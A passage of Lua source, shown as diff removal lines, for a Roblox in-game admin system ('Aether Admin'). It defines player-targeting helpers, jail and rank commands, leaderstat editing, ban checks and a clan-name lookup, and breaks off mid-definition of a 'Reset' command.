- getfenv(Plugin).Client = nil
- getfenv(Plugin)._G = nil
- getfenv(Plugin).getfenv = function()
- return {}
- end
- --getfenv(Plugin).Scripts=nil
- getfenv(Plugin).DataKey = nil
- Plugin()
- end
- function UnFly(Player)
- thread(function()
- for a, q in pairs(Player.Character.Torso:children()) do
- if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then
- q:Destroy()
- end
- end
- end)
- thread(function()
- for i, v in pairs(Player.PlayerGui:children()) do
- if v:FindFirstChild'IsAFly' then
- v:Destroy''
- end
- end
- end)
- end
- function anchorAll(Object)
- if not Object.Parent:IsA'Tool' and not Object.Parent:IsA'Hat' then
- if Object:IsA("BasePart") then Object.Anchored = true end
- for ID, Object in pairs(Object:GetChildren()) do
- anchorAll(Object)
- end
- end
- end
- function Plat(Player)
- thread(function()
- RF:FireClient(Player, {
- 'Plat'
- })
- end)
- end
- function UnPlat(Player)
- thread(function()
- RF:FireClient(Player, {
- 'UnPlat'
- })
- end)
- end
- function Nil(Player)
- thread(function()
- RF:FireClient(Player, {
- 'Nil'
- })
- end)
- end
- function FreezeCam(Player)
- thread(function()
- RF:FireClient(Player, {
- 'FreezeCam'
- })
- end)
- end
- function ThawCam(Player)
- thread(function()
- RF:FireClient(Player, {
- 'ThawCam'
- })
- end)
- end
- function Music(Player, Id)
- Id = tonumber(Id)
- thread(function()
- RF:FireClient(Player, {
- 'Music',
- Id
- })
- end)
- end
- function Jail(Player)
- local Jail1 = Instance.new("Model")
- Jail1.Parent = workspace
- Jail1.Archivable = true
- Jail1.Name = "Jail"
- local Part2 = Instance.new("Part")
- Part2.RightParamB = 0.5
- Part2.TopSurfaceInput = Enum.InputType.NoInput
- Part2.Anchored = true
- Part2.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- Part2.BottomParamB = 0.5
- Part2.FormFactor = Enum.FormFactor.Custom
- Part2.FrontParamB = 0.5
- Part2.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- Part2.CanCollide = true
- Part2.BackSurfaceInput = Enum.InputType.NoInput
- Part2.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- Part2.Elasticity = 0.5
- Part2.Transparency = 0
- Part2.BackParamB = 0.5
- Part2.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- Part2.RightParamA = -0.5
- Part2.Reflectance = 0
- Part2.Parent = Jail1
- Part2.TopParamB = 0.5
- Part2.TopParamA = -0.5
- Part2.LeftSurfaceInput = Enum.InputType.NoInput
- Part2.LeftParamB = 0.5
- Part2.Locked = true
- Part2.Material = Enum.Material.Marble
- Part2.Archivable = true
- Part2.Size = Vector3.new(4, 0.2, 4)
- Part2.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- Part2.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- Part2.RightSurfaceInput = Enum.InputType.NoInput
- Part2.BackParamA = -0.5
- Part2.FrontSurfaceInput = Enum.InputType.NoInput
- Part2.FrontParamA = -0.5
- Part2.BottomSurfaceInput = Enum.InputType.NoInput
- Part2.Color = Color3.new(0.705882, 0.823529, 0.894118)
- Part2.CFrame = Player.Character.Torso.CFrame * CFrame.new(0, -3, 0)
- Part2.BottomParamA = -0.5
- Part2.BrickColor = BrickColor.new("Light blue")
- Part2.Friction = 0.30000001192093
- Part2.LeftParamA = -0.5
- Part2.Shape = Enum.PartType.Block
- Part2.Name = "Part"
- local Part3 = Instance.new("Part")
- Part3.RightParamB = 0.5
- Part3.TopSurfaceInput = Enum.InputType.NoInput
- Part3.Anchored = true
- Part3.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- Part3.BottomParamB = 0.5
- Part3.FormFactor = Enum.FormFactor.Custom
- Part3.FrontParamB = 0.5
- Part3.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- Part3.CanCollide = true
- Part3.BackSurfaceInput = Enum.InputType.NoInput
- Part3.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- Part3.Elasticity = 0.5
- Part3.Transparency = 0.60000002384186
- Part3.BackParamB = 0.5
- Part3.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- Part3.RightParamA = -0.5
- Part3.Reflectance = 0
- Part3.Parent = Jail1
- Part3.TopParamB = 0.5
- Part3.TopParamA = -0.5
- Part3.LeftSurfaceInput = Enum.InputType.NoInput
- Part3.LeftParamB = 0.5
- Part3.Locked = true
- Part3.Material = Enum.Material.Ice
- Part3.Archivable = true
- Part3.Size = Vector3.new(4, 6, 0.200000003)
- Part3.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- Part3.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- Part3.RightSurfaceInput = Enum.InputType.NoInput
- Part3.BackParamA = -0.5
- Part3.FrontSurfaceInput = Enum.InputType.NoInput
- Part3.FrontParamA = -0.5
- Part3.BottomSurfaceInput = Enum.InputType.NoInput
- Part3.Color = Color3.new(0.454902, 0.52549, 0.615686)
- Part3.CFrame = Part2.CFrame * CFrame.new(0, 3, 3)
- Part3.BottomParamA = -0.5
- Part3.BrickColor = BrickColor.new("Sand blue")
- Part3.Friction = 0.30000001192093
- Part3.LeftParamA = -0.5
- Part3.Shape = Enum.PartType.Block
- Part3.Name = "Part"
- local Part4 = Instance.new("Part")
- Part4.RightParamB = 0.5
- Part4.TopSurfaceInput = Enum.InputType.NoInput
- Part4.Anchored = true
- Part4.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- Part4.BottomParamB = 0.5
- Part4.FormFactor = Enum.FormFactor.Custom
- Part4.FrontParamB = 0.5
- Part4.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- Part4.CanCollide = true
- Part4.BackSurfaceInput = Enum.InputType.NoInput
- Part4.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- Part4.Elasticity = 0.5
- Part4.Transparency = 0.60000002384186
- Part4.BackParamB = 0.5
- Part4.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- Part4.RightParamA = -0.5
- Part4.Reflectance = 0
- Part4.Parent = Jail1
- Part4.TopParamB = 0.5
- Part4.TopParamA = -0.5
- Part4.LeftSurfaceInput = Enum.InputType.NoInput
- Part4.LeftParamB = 0.5
- Part4.Locked = true
- Part4.Material = Enum.Material.Ice
- Part4.Archivable = true
- Part4.Size = Vector3.new(4, 6, 0.200000003)
- Part4.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- Part4.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- Part4.RightSurfaceInput = Enum.InputType.NoInput
- Part4.BackParamA = -0.5
- Part4.FrontSurfaceInput = Enum.InputType.NoInput
- Part4.FrontParamA = -0.5
- Part4.BottomSurfaceInput = Enum.InputType.NoInput
- Part4.Color = Color3.new(0.454902, 0.52549, 0.615686)
- Part4.CFrame = Part2.CFrame * CFrame.new(0, 3, -3)
- Part4.BottomParamA = -0.5
- Part4.BrickColor = BrickColor.new("Sand blue")
- Part4.Friction = 0.30000001192093
- Part4.LeftParamA = -0.5
- Part4.Shape = Enum.PartType.Block
- Part4.Name = "Part"
- local Part5 = Instance.new("Part")
- Part5.RightParamB = 0.5
- Part5.TopSurfaceInput = Enum.InputType.NoInput
- Part5.Anchored = true
- Part5.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- Part5.BottomParamB = 0.5
- Part5.FormFactor = Enum.FormFactor.Custom
- Part5.FrontParamB = 0.5
- Part5.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- Part5.CanCollide = true
- Part5.BackSurfaceInput = Enum.InputType.NoInput
- Part5.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- Part5.Elasticity = 0.5
- Part5.Transparency = 0.60000002384186
- Part5.BackParamB = 0.5
- Part5.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- Part5.RightParamA = -0.5
- Part5.Reflectance = 0
- Part5.Parent = Jail1
- Part5.TopParamB = 0.5
- Part5.TopParamA = -0.5
- Part5.LeftSurfaceInput = Enum.InputType.NoInput
- Part5.LeftParamB = 0.5
- Part5.Locked = true
- Part5.Material = Enum.Material.Ice
- Part5.Archivable = true
- Part5.Size = Vector3.new(.2, 6, 4)
- Part5.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- Part5.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- Part5.RightSurfaceInput = Enum.InputType.NoInput
- Part5.BackParamA = -0.5
- Part5.FrontSurfaceInput = Enum.InputType.NoInput
- Part5.FrontParamA = -0.5
- Part5.BottomSurfaceInput = Enum.InputType.NoInput
- Part5.Color = Color3.new(0.454902, 0.52549, 0.615686)
- Part5.CFrame = Part2.CFrame * CFrame.new(3, 3, 0)
- Part5.BottomParamA = -0.5
- Part5.BrickColor = BrickColor.new("Sand blue")
- Part5.Friction = 0.30000001192093
- Part5.LeftParamA = -0.5
- Part5.Shape = Enum.PartType.Block
- Part5.Name = "Part"
- local Part6 = Instance.new("Part")
- Part6.RightParamB = 0.5
- Part6.TopSurfaceInput = Enum.InputType.NoInput
- Part6.Anchored = true
- Part6.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- Part6.BottomParamB = 0.5
- Part6.FormFactor = Enum.FormFactor.Custom
- Part6.FrontParamB = 0.5
- Part6.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- Part6.CanCollide = true
- Part6.BackSurfaceInput = Enum.InputType.NoInput
- Part6.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- Part6.Elasticity = 0.5
- Part6.Transparency = 0.60000002384186
- Part6.BackParamB = 0.5
- Part6.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- Part6.RightParamA = -0.5
- Part6.Reflectance = 0
- Part6.Parent = Jail1
- Part6.TopParamB = 0.5
- Part6.TopParamA = -0.5
- Part6.LeftSurfaceInput = Enum.InputType.NoInput
- Part6.LeftParamB = 0.5
- Part6.Locked = true
- Part6.Material = Enum.Material.Ice
- Part6.Archivable = true
- Part6.Size = Vector3.new(.2, 6, 4)
- Part6.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- Part6.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- Part6.RightSurfaceInput = Enum.InputType.NoInput
- Part6.BackParamA = -0.5
- Part6.FrontSurfaceInput = Enum.InputType.NoInput
- Part6.FrontParamA = -0.5
- Part6.BottomSurfaceInput = Enum.InputType.NoInput
- Part6.Color = Color3.new(0.454902, 0.52549, 0.615686)
- Part6.BottomParamA = -0.5
- Part6.BrickColor = BrickColor.new("Sand blue")
- Part6.Friction = 0.30000001192093
- Part6.LeftParamA = -0.5
- Part6.Shape = Enum.PartType.Block
- Part6.Name = "Part"
- local Part7 = Instance.new("Part")
- Part7.RightParamB = 0.5
- Part7.TopSurfaceInput = Enum.InputType.NoInput
- Part7.Anchored = true
- Part7.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- Part7.BottomParamB = 0.5
- Part7.FormFactor = Enum.FormFactor.Custom
- Part7.FrontParamB = 0.5
- Part7.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- Part7.CanCollide = true
- Part7.BackSurfaceInput = Enum.InputType.NoInput
- Part7.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- Part7.Elasticity = 0.5
- Part7.Transparency = 0
- Part7.BackParamB = 0.5
- Part7.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- Part7.RightParamA = -0.5
- Part7.Reflectance = 0
- Part7.Parent = Jail1
- Part7.TopParamB = 0.5
- Part7.TopParamA = -0.5
- Part7.LeftSurfaceInput = Enum.InputType.NoInput
- Part7.LeftParamB = 0.5
- Part7.Locked = true
- Part7.Material = Enum.Material.Marble
- Part7.Archivable = true
- Part7.Size = Vector3.new(4, 1, 4)
- Part7.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- Part7.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- Part7.RightSurfaceInput = Enum.InputType.NoInput
- Part7.BackParamA = -0.5
- Part7.FrontSurfaceInput = Enum.InputType.NoInput
- Part7.FrontParamA = -0.5
- Part7.BottomSurfaceInput = Enum.InputType.NoInput
- Part7.Color = Color3.new(0.705882, 0.823529, 0.894118)
- Part7.CFrame = Part2.CFrame * CFrame.new(0, 6.5, 0)
- Part7.BottomParamA = -0.5
- Part7.BrickColor = BrickColor.new("Light blue")
- Part7.Friction = 0.30000001192093
- Part7.LeftParamA = -0.5
- Part7.Shape = Enum.PartType.Block
- Part7.Name = "Part"
- if Jails[Player.Name] == nil then
- Jails[Player.Name] = {}
- end
- table.insert(Jails[Player.Name], Jail1)
- thread(function()
- while Jail1 and Jail1.Parent == workspace do
- wait()
- Part3.CFrame = Part2.CFrame * CFrame.new(0, 3, 2)
- Part4.CFrame = Part2.CFrame * CFrame.new(0, 3, -2)
- Part5.CFrame = Part2.CFrame * CFrame.new(2, 3, 0)
- Part6.CFrame = Part2.CFrame * CFrame.new(-2, 3, 0)
- Part7.CFrame = Part2.CFrame * CFrame.new(0, 6.5, 0)
- if Player.Character and (Part2.Position - Player.Character.Torso.Position).magnitude > 3.5 then
- Player.Character.Torso.CFrame = Part2.CFrame * CFrame.new(0, 3, 0)
- elseif not Player.Character then
- --Player:LoadCharacter()
- end
- end
- end)
- end
- function Solitary(Player)
- pcall(function()
- if not Player or not Player.Character then return end
- local char=Instance.new('Model',workspace)
- if Jails[Player.Name] == nil then
- Jails[Player.Name] = {}
- end
- table.insert(Jails[Player.Name], char)
- char.Name='Jail'
- local cf=Player.Character.Torso.CFrame
- local lastpart=Player.Character.Head.CFrame*CFrame.new(0,-5.6,0)
- local start=lastpart
- local ct=0
- for k=1, 42 do wait()
- for i=1, 12 do
- local Part=Instance.new('Part',char)
- Part.Anchored=true
- Part.CanCollide=true
- Part.FormFactor='Custom'
- Part.Material='Slate'
- Part.Locked=true
- Part.BrickColor=BrickColor.new('Bright green')
- Part.TopSurface='Smooth'
- Part.BottomSurface='Smooth'
- Part.Size=Vector3.new(1,1,2)
- Part.CFrame=lastpart*CFrame.new(0,1,-2)*CFrame.Angles(.5,0,0)
- ct=0
- lastpart=Part.CFrame
- end
- lastpart=start*CFrame.Angles(0,math.rad(9),0)
- start=lastpart
- end
- thread(function()
- while char and char.Parent==workspace do
- wait()
- if Player.Character and (Vector3.new(cf.x,cf.y,cf.z) - Player.Character.Torso.Position).magnitude > 2.25 then
- Player.Character.Torso.CFrame = cf
- elseif not Player.Character then
- --Player:LoadCharacter()
- end
- end
- end)
- end)
- end
- function KeyBind(Player, Key, Command)
- if Key == nil or Command == nil then
- return
- end
- thread(function()
- RF:FireClient(Player, {
- 'KeyBind',
- Key,
- Command
- })
- end)
- end
- function ScrollGui(Player, Title, Text)
- thread(function()
- if Player == nil then
- return
- end
- Text = CloneTable(Text)
- Title = Title or ''
- RF:FireClient(Player, {
- 'ScrollGui',
- Title,
- Text
- })
- end)
- end
- function Hint(Player, Title, Text, Time)
- --thread(function()
- if Player == nil or Title == nil or Text == nil then
- return
- end
- Time = Time or 3
- RF:FireClient(Player, {
- 'Hint',
- Title,
- Text,
- Time
- })
- --end)
- end
- function GetRawPlayers()
- local tempplayerlist = {}
- for i, v in pairs(game:service'NetworkServer':children()) do
- if v:IsA'ServerReplicator' then
- table.insert(tempplayerlist, v:GetPlayer())
- end
- end
- return tempplayerlist
- end
- function GetPlayers(Player, Message)
- local Arguments = Split(Message, ',')
- local ToReturn = {}
- for _, v in next, Arguments do
- v = v:lower()
- if v == 'me' and type(Player) == 'userdata' then
- table.insert(ToReturn, Player)
- elseif v == 'others' then
- for k, l in pairs(GetRawPlayers()) do
- if l.Name ~= Player.Name then
- table.insert(ToReturn, l)
- end
- end
- elseif v == 'random' then
- local child = GetRawPlayers()
- local randomPlr = math.random(1, #child)
- table.insert(ToReturn, child[randomPlr])
- elseif v == 'nbc' then
- for k, l in pairs(GetRawPlayers()) do
- if l.MembershipType == Enum.MembershipType.None then
- table.insert(ToReturn, l)
- end
- end
- elseif v == 'bc' then
- for k, l in pairs(GetRawPlayers()) do
- if l.MembershipType == Enum.MembershipType.BuildersClub then
- table.insert(ToReturn, l)
- end
- end
- elseif v == 'tbc' then
- for k, l in pairs(GetRawPlayers()) do
- if l.MembershipType == Enum.MembershipType.TurboBuildersClub then
- table.insert(ToReturn, l)
- end
- end
- elseif v == 'obc' then
- for k, l in pairs(GetRawPlayers()) do
- if l.MembershipType == Enum.MembershipType.OutrageousBuildersClub then
- table.insert(ToReturn, l)
- end
- end
- elseif v == 'anybc' or v == 'allbc' or v == 'abc' then
- for k, l in pairs(GetRawPlayers()) do
- if l.MembershipType == Enum.MembershipType.OutrageousBuildersClub or l.MembershipType == Enum.MembershipType.TurboBuildersClub or l.MembershipType == Enum.MembershipType.BuildersClub then
- table.insert(ToReturn, l)
- end
- end
- elseif v == 'nils' then
- for k, l in pairs(GetRawPlayers()) do
- if l.Parent == nil then
- table.insert(ToReturn, l)
- end
- end
- elseif v == 'nonnils' or v == 'players' or v == 'plrs' then
- for k, l in pairs(GetRawPlayers()) do
- if l.Parent ~= nil then
- table.insert(ToReturn, l)
- end
- end
- elseif v == 'friends' then
- for k, l in pairs(GetRawPlayers()) do
- if l:IsFriendsWith (Player.userId) then
- table.insert(ToReturn, l)
- end
- end
- elseif v == 'followed' then
- for k, l in pairs(GetRawPlayers()) do
- if l.FollowUserId == Player.userId then
- table.insert(ToReturn, l)
- end
- end
- elseif v == 'team' then
- for k, l in pairs(service'Players':GetPlayers()) do
- if l.TeamColor == Player.TeamColor then
- table.insert(ToReturn, l)
- end
- end
- elseif v:sub(1, #'team ') == 'team ' then
- local Color = ''
- for k, l in pairs(service'Teams') do
- if l.Name:sub(1, v:sub(#'team ' + 1)):lower() == v:sub(#'team ' + 1):lower() then
- Color = tostring(l.TeamColor)
- end
- end
- for k, l in pairs(service'Players':GetPlayers()) do
- if l.TeamColor == BrickColor.new(Color) then
- table.insert(ToReturn, l)
- end
- end
- elseif v == 'notfriends' or v == 'nonfriends' then
- for k, l in pairs(GetRawPlayers()) do
- if not l:IsFriendsWith(Player.userId) then
- table.insert(ToReturn, l)
- end
- end
- elseif v == 'all' then
- for k, l in pairs(GetRawPlayers()) do
- table.insert(ToReturn, l)
- end
- else
- for l, k in next, GetRawPlayers() do
- if k.Name:lower():sub(1, #v) == v then
- table.insert(ToReturn, k)
- end
- end
- end
- if v:sub(1, 1) == '-' then
- for i, v in pairs(GetPlayers(Player, v:sub(2))) do
- for u, o in pairs(ToReturn) do
- if o.Name == v.Name then
- table.remove(ToReturn, u)
- end
- end
- end
- end
- end
- return ToReturn
- end
- FindPlayer = function(name, id)
- id = id or -1
- for i, v in pairs(service'Players':GetPlayers()) do
- if v.name == name or v.userId == id then
- return v
- end
- end
- return nil
- end
- AddRank = function(Id, Rank)
- if Ranked[Id].Rank ~= Rank and Ranked[Id].Rank < Rank then
- Ranked[Id].Rank = Rank
- for i, v in pairs(GetRawPlayers()) do
- if v.userId == Id then
- Ping(v, 'You have been ranked to '..Core.RankName(Rank)..'.')
- end
- end
- end
- end
- RunOnChildren = function(Class, Obj, Function)
- for i, v in pairs(Obj:children()) do
- if v:IsA(Class) then
- Function(v)
- end
- end
- end
- service'Players'.PlayerRemoving:connect(function(Player)
- table.insert(ChatLogs, '{Server} '..Player.Name..' left '..NameFromId(game.PlaceId)..' from server '..game.JobId..'.')
- end)
- function TeleportTo(Player, PlaceId, JobId)
- thread(function()
- RF:FireClient(Player, {
- 'Teleport',
- PlaceId,
- JobId
- })
- end)
- end
- CheckFollow = function(Player)
- if Player.FollowUserId ~= nil then
- for i, v in pairs(GetRawPlayers()) do
- if v.userId == Player.FollowUserId then
- Ping(v, Player.Name..' followed you.')
- end
- end
- end
- end
- function Explore(Player,Object)
- Object=Object or workspace
- if Player==nil then return end
- Dismiss(Player)
- Ping(Player,'Name | '..Object.Name)
- Ping(Player,'ClassName | '..Object.ClassName)
- if Object.Parent then
- Ping(Player,'Parent | '..Object.Parent.Name or 'Nil',function()
- Explore(Player,Object.Parent)
- end)
- end
- Ping(Player,'Children',function()
- Dismiss(Player)
- for i,v in pairs(Object:children()) do
- Ping(Player,v.Name,function() Explore(Player,v) end)
- end
- end)
- if Object.Parent then
- Ping(Player,'Destroy',function()
- Explore(Player,Object.Parent)
- Object:Destroy()
- end)
- end
- end
- function PlayerAdded(Player)
- thread(function()
- local cltimes = 1
- while Player do
- repeat
- wait()
- until Player and Player:FindFirstChild'Backpack'
- local cl = Client:clone()
- cl.Parent = Player:FindFirstChild'Backpack'-- or Player:FindFirstChild'Backpack'
- wait()
- cl.Disabled = false
- wait()
- Player:WaitForDataReady()
- wait(1)
- cltimes = cltimes + 1
- if cltimes > 1 then
- break
- end
- end
- end)
- thread(function()
- WriteRanks(Player.Name, Player.userId)
- end)
- CheckFollow(Player)
- table.insert(ChatLogs, '{Server} '..Player.Name..' joined '..NameFromId(game.PlaceId)..' on server '..game.JobId..'.')
- if Ranked[Player.userId] == nil then
- Ranked[Player.userId] = {
- Rank = DefaultRank.Rank;
- }
- end
- if true then
- print(Player.Name..' joined the game.')
- Player.Chatted:connect(function(Message)
- Chatted(Player, Message)
- end)
- if Player.userId ~= 1 and Player.userId ~= 0 then
- local Clan = game:service'HttpService':JSONDecode(game:service'HttpService':GetAsync('http://api.rproxy.pw/clans/get-by-user?userId='..Player.userId))
- Player.CharacterAdded:connect(function(Character)
- if Clan and ShowClanNames then
- Commands.Name.Function(Player, {
- 'me',
- (Clan.Name..'\n')..Player.Name
- })
- end
- end)
- end
- if Ranked[Player.userId] and Ranked[Player.userId].Rank < 0 then
- thread(function()
- ForceDisconnect(Player, 'You are banned from this game.')
- end)
- else
- CheckGamepass(Player)
- end
- --[[repeat wait() until Player.Character
- repeat wait() until Player:FindFirstChild'PlayerGui'-- or Player:FindFirstChild'Backpack'
- wait(1)]]
- if JoinMsg == true then
- Ping(Player, 'Welcome, the prefix is '..Prefix)
- if GetRank(Player).Rank >= 1 then
- Ping(Player, 'You are rank '..RankName(GetRank(Player).Rank, Player.userId))
- Ping(Player, 'Say '..Prefix..'cmds to view commands.')
- Ping(Player, 'This admin started development '..AdminAge..' days ago.')
- end
- if Credits == true then
- Ping(Player, 'Aether Admin is made by DarthStrantax.')-- is made by Legions of Aether scripting division.')
- Ping(Player, 'Credit to ModelMakerLua for not stopping me from stealing his Remote Exe')
- end
- end
- --Ping(Player,' ',function()end,"Cyan","304844114")
- if Rules ~= nil and #Rules >= 1 then
- for i, v in pairs(Rules) do
- Ping(Player, 'Rule '..i..': '..v)
- end
- end
- else
- --Player:kick'Server closed due to: Aether Admin stolen.'
- end
- end
- local Players = service'Players'
- local Workspace = service'Workspace'
- local workspace = service'Workspace'
- local Lighting = service'Lighting'
- for Index, Player in pairs(Players:GetPlayers()) do
- thread(function()
- PlayerAdded(Player)
- end)
- end
- Players.PlayerAdded:connect(function(Player)
- PlayerAdded(Player)
- end)
- game:service'MarketplaceService'.PromptPurchaseFinished:connect(function(player, id, torun)
- if torun then
- Ping(player, 'You just brought '..NameFromId(id)..'.')
- end
- end)
- thread(function()
- while wait(1) do
- for i, v in pairs(game:service'Players':GetPlayers()) do
- if Loopkill[v.userId] and v.Character and v.Character:IsA'Model' then
- v.Character:BreakJoints()
- end
- end
- end
- end)
- --Commands
- AddCommand(
- 'math',
- 0,
- {
- 'math'
- },
- 'Helps you with mathematics',
- Prefix..'math [equation]',
- function(Player, Arguments)
- Ping(Player, domath(Arguments))
- end,
- false
- )
- AddCommand(
- 'SetRank',
- 3,
- {
- 'rank',
- 'setrank',
- 'admin'
- },
- 'Changes specified player(s) ranks.',
- Prefix..'rank [player],[player2] [rank number]',
- function(Player, Arguments)
- if #Arguments < 1 then
- return
- end
- if #Arguments == 1 then
- Arguments[2] = '7'
- end
- for i, v in pairs(GetPlayers(Player, Arguments[1])) do
- if Ranked[v.userId].Rank < Ranked[Player.userId].Rank then
- if tonumber(Arguments[2]) < Ranked[Player.userId].Rank then
- Ranked[v.userId] = {
- Rank = tonumber(Arguments[2])
- }
- end
- end
- end
- end,
- true
- )
- AddCommand(
- 'Un-Rank',
- 3,
- {
- 'unrank',
- 'norank', -- many ways to unrank lol...
- 'unadmin',
- 'noadmin',
- 'unoa',
- 'nooa',
- 'unpa',
- 'nopa',
- 'unvip',
- 'novip',
- 'unguest',
- 'noguest',
- 'unsmod',
- 'nosmod',
- 'unmod',
- 'nomod',
- 'unhmod',
- 'nohmod',
- 'unco',
- 'noco',
- 'unta',
- 'nota',
- 'unsa',
- 'nosa',
- 'unpa',
- 'nopa',
- 'unha',
- 'noha'
- },
- 'Un-Ranks users.',
- Prefix..'ur [player1],[player2]',
- function(Player, Arguments)
- for i, v in pairs(GetPlayers(Player, Arguments[1])) do
- if Ranked[v.userId].Rank < Ranked[Player.userId].Rank then
- Ranked[v.userId] = {
- Rank = 0
- }
- Hint(v, 'Aether System: ', 'You are now rank '..RankName(GetRank(v).Rank), 6)
- end
- end
- end,
- true
- )
- AddCommand(
- 'VIP',
- 3,
- {
- 'vip'
- },
- 'Gives users vip.',
- Prefix..'vip [player1],[player2]',
- function(Player, Arguments)
- for i, v in pairs(GetPlayers(Player, Arguments[1])) do
- if Ranked[v.userId].Rank < Ranked[Player.userId].Rank then
- Ranked[v.userId] = {
- Rank = 1
- }
- Hint(v, 'Aether System: ', 'You are now rank '..RankName(GetRank(v).Rank), 6)
- end
- end
- end,
- true
- )
- AddCommand(
- 'Guest',
- 4,
- {
- 'guest'
- },
- 'Gives users rank guest.',
- Prefix..'guest [player1],[player2]',
- function(Player, Arguments)
- for i, v in pairs(GetPlayers(Player, Arguments[1])) do
- if Ranked[v.userId].Rank < Ranked[Player.userId].Rank then
- Ranked[v.userId] = {
- Rank = 2
- }
- Hint(v, 'Aether System: ', 'You are now rank '..RankName(GetRank(v).Rank), 6)
- end
- end
- end,
- true
- )
- AddCommand(
- 'Semi-Mod',
- 5,
- {
- 'semimod',
- 'smod'
- },
- 'Gives users rank semi-moderator.',
- Prefix..'smod [player1],[player2]',
- function(Player, Arguments)
- for i, v in pairs(GetPlayers(Player, Arguments[1])) do
- if Ranked[v.userId].Rank < Ranked[Player.userId].Rank then
- Ranked[v.userId] = {
- Rank = 3
- }
- Hint(v, 'Aether System: ', 'You are now rank '..RankName(GetRank(v).Rank), 6)
- end
- end
- end,
- true
- )
- AddCommand(
- 'Mod',
- 5,
- {
- 'mod',
- 'moderator'
- },
- 'Gives users rank moderator.',
- Prefix..'smod [player1],[player2]',
- function(Player, Arguments)
- for i, v in pairs(GetPlayers(Player, Arguments[1])) do
- if Ranked[v.userId].Rank < Ranked[Player.userId].Rank then
- Ranked[v.userId] = {
- Rank = 4
- }
- Hint(v, 'Aether System: ', 'You are now rank '..RankName(GetRank(v).Rank), 6)
- end
- end
- end,
- true
- )
- AddCommand(
- 'HeadMod',
- 7,
- {
- 'hmod',
- 'headmod',
- 'hm'
- },
- 'Gives users rank head-moderator.',
- Prefix..'hmod [player1],[player2]',
- function(Player, Arguments)
- for i, v in pairs(GetPlayers(Player, Arguments[1])) do
- if Ranked[v.userId].Rank < Ranked[Player.userId].Rank then
- Ranked[v.userId] = {
- Rank = 5
- }
- Hint(v, 'Aether System: ', 'You are now rank '..RankName(GetRank(v).Rank), 6)
- end
- end
- end,
- true
- )
- AddCommand(
- 'Semi-Admin',
- 7,
- {
- 'sadmin',
- 'semiadmin',
- 'ta',
- 'sa'
- },
- 'Gives users rank semi-admin.',
- Prefix..'sadmin [player1],[player2]',
- function(Player, Arguments)
- for i, v in pairs(GetPlayers(Player, Arguments[1])) do
- if Ranked[v.userId].Rank < Ranked[Player.userId].Rank then
- Ranked[v.userId] = {
- Rank = 6
- }
- Hint(v, 'Aether System: ', 'You are now rank '..RankName(GetRank(v).Rank), 6)
- end
- end
- end,
- true
- )
- AddCommand(
- 'Head-Admin',
- 9,
- {
- 'hadmin',
- 'headadmin',
- 'pa',
- 'ha'
- },
- 'Gives users rank head-admin.',
- Prefix..'hadmin [player1],[player2]',
- function(Player, Arguments)
- for i, v in pairs(GetPlayers(Player, Arguments[1])) do
- if Ranked[v.userId].Rank < Ranked[Player.userId].Rank then
- Ranked[v.userId] = {
- Rank = 8
- }
- Hint(v, 'Aether System: ', 'You are now rank '..RankName(GetRank(v).Rank), 6)
- end
- end
- end,
- true
- )
- AddCommand(
- 'Co-Owner',
- 11,
- {
- 'co',
- 'coowner'
- },
- 'Gives users rank co-owner.',
- Prefix..'co [player1],[player2]',
- function(Player, Arguments)
- for i, v in pairs(GetPlayers(Player, Arguments[1])) do
- if Ranked[v.userId].Rank < Ranked[Player.userId].Rank then
- Ranked[v.userId] = {
- Rank = 9
- }
- Hint(v, 'Aether System: ', 'You are now rank '..RankName(GetRank(v).Rank), 6)
- end
- end
- end,
- true
- )
- AddCommand(
- 'Owner',
- 11,
- {
- 'owner',
- 'oa'
- },
- 'Gives users rank co-owner.',
- Prefix..'oa [player1],[player2]',
- function(Player, Arguments)
- for i, v in pairs(GetPlayers(Player, Arguments[1])) do
- if Ranked[v.userId].Rank < Ranked[Player.userId].Rank then
- Ranked[v.userId] = {
- Rank = 10
- }
- Hint(v, 'Aether System: ', 'You are now rank '..RankName(GetRank(v).Rank), 6)
- end
- end
- end,
- true
- )
- AddCommand(
- 'Change',
- 3,
- {
- 'change'
- },
- 'Changes specified player(s) leaderstats.',
- Prefix..'change [player],[player2] [stat] [number]',
- function(Player, Arguments)
- if #Arguments < 3 then
- return
- end
- for i, v in pairs(GetPlayers(Player, Arguments[1])) do
- thread(function()
- if v and v:findFirstChild("leaderstats") then
- for a, st in pairs(v.leaderstats:children()) do
- if st.Name:lower():find(Arguments[2]:lower()) == 1 then
- st.Value = string.gsub(Arguments[3]:lower(), '#inf', '2147483647')
- end
- end
- end
- end)
- end
- end,
- true
- )
- AddCommand(
- 'Reset',
